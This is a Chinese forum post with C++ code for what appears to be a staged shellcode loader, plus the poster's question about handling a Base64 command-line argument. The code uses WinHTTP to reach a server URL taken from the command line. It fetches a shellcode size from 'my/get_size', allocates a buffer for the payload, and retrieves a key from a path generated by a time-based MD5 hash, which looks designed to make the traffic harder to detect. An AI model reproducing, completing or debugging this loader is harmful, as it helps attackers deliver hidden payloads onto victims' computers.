本帖最后由 我叫学得会 于 2021-4-12 17:34 编辑
std::string Request(std::string target, std::string path) { //发包调用 target 就是我们获得主函数的参数
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer;
BOOL bResults = FALSE;
BOOL useSSL = FALSE;
INTERNET_PORT port;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
std::string reqResult;
EdUrlParser* url = EdUrlParser::parseUrl(target);
std::string p = url->port;
if (p.length() > 1) {
//std::cout <<p <<" "<<p.substr(2) << std::endl;
port = std::atoi(p.c_str());
}
if (url->scheme == "https") {
useSSL = TRUE;
if (url->port == "") {
port = 443;
}
}
else {
if (url->port == "")
port = 80;
}
std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end());
std::string strBasePath = url->path;
char last = strBasePath.back();
if (strcmp(&last,"/")) {
strBasePath += "/";
}
strBasePath += path;
std::cout << "request path:" << strBasePath <<" port:"<< port<<std::endl;
std::wstring basePath = std::wstring(strBasePath.begin(), strBasePath.end());
wchar_t* host = (wchar_t*)h.c_str();
wchar_t* object = (wchar_t*)basePath.c_str();
// Use WinHttpOpen to obtain a session handle.
hSession = WinHttpOpen(L"WinHTTP Example/1.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
// Specify an HTTP server.
if (hSession)
hConnect = WinHttpConnect(hSession, host,
port, 0);
// Create an HTTP request handle.
if (hConnect)
hRequest = WinHttpOpenRequest(hConnect, L"GET", object,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
useSSL ? WINHTTP_FLAG_SECURE : 0);
....Request模块
下面是调用:
std::string GenerateUri()
{
time_t myt = time(NULL);
int key = int(int(myt) / 100);
std::string u = string(obscure) + std::to_string(key);
return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
string res = Request(target,"my/get_size"); //函数调用 int main 参数里的值
if (res=="")return false;
shellcode_size = std::atoi(res.c_str());
shellcode = (char*)malloc(shellcode_size);
if (shellcode != 0) {
return true;
}
else {
return false;
}
}
std::string GetKey()
{
if (GetShellCodeSize() == false) {
return "";
}
string res = Request(target,GenerateUri()); //获取网页密钥,发包int main 的值
return res;
}
string target; // 存放 参数 就是请求的url值
int main(int argc,char* argv[]) //无参数执行很顺利,改为有参我人都傻了,原本在cdm调用此程序输入的是Base64,想再加个void base64encode () 然后ruturn target; 接下来其他程序就顺步走了,可是还没解密呢,改指针我人都傻了
{
if (argc < 2)
{
return -1;
}
target.assign(argv[1]);
Invoke(); //把琐碎一些列执行模块子函数都封装在这里了
return 0;
}
|